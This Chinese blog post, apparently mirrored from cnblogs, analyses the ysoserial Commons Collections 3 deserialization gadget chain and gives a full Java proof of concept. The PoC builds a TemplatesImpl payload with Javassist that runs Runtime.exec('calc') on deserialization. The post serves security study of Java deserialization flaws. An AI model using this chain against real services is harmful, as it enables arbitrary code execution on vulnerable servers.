zoukankan      html  css  js  c++  java
  • ysoserial Commons Collections3反序列化研究

    0x00 前言

    在ysoserial中,官方是没给gadget,这儿经过文章分析我认为的gadget,继承自AbstractTranslate的类被Javassist插桩后返回一个被修改过的templates(_bytecodes)并将其传给InstantiateTransformer后,InstantiateTransformer利用这个templates获得的构造函数加上从ConstantTransformer返回的TrAXFilter类将其实例化,实例化的过程中将会调用TrAXFilter的构造函数,从而调用TemplatesImpl.newTransformer()

    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InstantiateTransformer.transform()
                                new TrAXFilter()
                                    TemplatesImpl.newInstance()
                                        ... template gadget

    其实也可以看到,大部分的gadget都是和CC1是一样,主要是transformers数组的部分改了下

            final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
            final Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(TrAXFilter.class),
                    new InstantiateTransformer(
                            new Class[] { Templates.class },
                            new Object[] { templatesImpl } )};

    来关注下新出现的两个类InstantiateTransformerTrAXFilter

    InstantiateTransformertransform方法中可以看到,获取public构造方法,newInstance实例化该对象

        public Object transform(Object input) {
            try {
                if (!(input instanceof Class)) {
                    throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
                } else {
                    Constructor con = ((Class)input).getConstructor(this.iParamTypes);
                    return con.newInstance(this.iArgs);
                }

    然后是TrAXFilter的构造函数,对传入的templates调用newTransformer

        public TrAXFilter(Templates templates)  throws
            TransformerConfigurationException
        {
            _templates = templates;
            _transformer = (TransformerImpl) templates.newTransformer();
            _transformerHandler = new TransformerHandlerImpl(_transformer);
            _useServicesMechanism = _transformer.useServicesMechnism();
        }

    这样的话就可以和之前的template gadget串起来了,在调用newTransformer时从字节码中加载类,然后运行构造方法,从而执行危险函数。

    poc

    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InstantiateTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
     
    import javax.xml.transform.Templates;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.util.HashMap;
    import java.util.Map;
     
     
    public class cc3 {
     
        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
            // 创建 static 代码块,并插入代码
            cc.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "EvilCat" + System.nanoTime();
            cc.setName(randomClassName);
            cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
            // 写入.class 文件
            byte[] classBytes = cc.toBytecode();
            byte[][] targetByteCodes = new byte[][]{classBytes};
            TemplatesImpl templates = TemplatesImpl.class.newInstance();
            setFieldValue(templates, "_bytecodes", targetByteCodes);
            // 进入 defineTransletClasses() 方法需要的条件
            setFieldValue(templates, "_name", "name");
            setFieldValue(templates, "_class", null);
     
            ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                    new ConstantTransformer(TrAXFilter.class),
                    new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
            });
     
            HashMap innermap = new HashMap();
            LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
     
     
            Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            handler_constructor.setAccessible(true);
            InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
     
            Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
     
     
            Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
            AnnotationInvocationHandler_Constructor.setAccessible(true);
            InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
     
            try{
                ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
                outputStream.writeObject(handler);
                outputStream.close();
     
                ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
                inputStream.readObject();
            }catch(Exception e){
                e.printStackTrace();
            }
     
        }
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = getField(obj.getClass(), fieldName);
            field.set(obj, value);
        }
     
        public static Field getField(final Class<?> clazz, final String fieldName) {
            Field field = null;
            try {
                field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
            }
            catch (NoSuchFieldException ex) {
                if (clazz.getSuperclass() != null)
                    field = getField(clazz.getSuperclass(), fieldName);
            }
            return field;
        }
    }

     

  • 相关阅读:
    docker从容器里面拷文件到宿主机或从宿主机拷文件到docker容器里面
    maven构建的项目相关的命令
    gradle build文件中文乱码解决
    adobe acrobat看PDF文档显示字体发虚,有毛刺的解决办法
    Jenkins 用Tomcat部署War出现 反向代理设置有误
    变量 $cfg['TempDir'] (./tmp/)无法访问。phpMyAdmin无法缓存模板文件,所以会运行缓慢。
    phpMyAdmin配置文件中的密文(blowfish_secret)太短
    phpmyadmin报错:mysqli_real_connect(): (HY000/2002): No such file or directory 错误正确解决方法
    Gradle编译设置编码格式
    redis中的hash
  • 原文地址:https://www.cnblogs.com/kuaile1314/p/14336230.html
Copyright © 2011-2022 走看看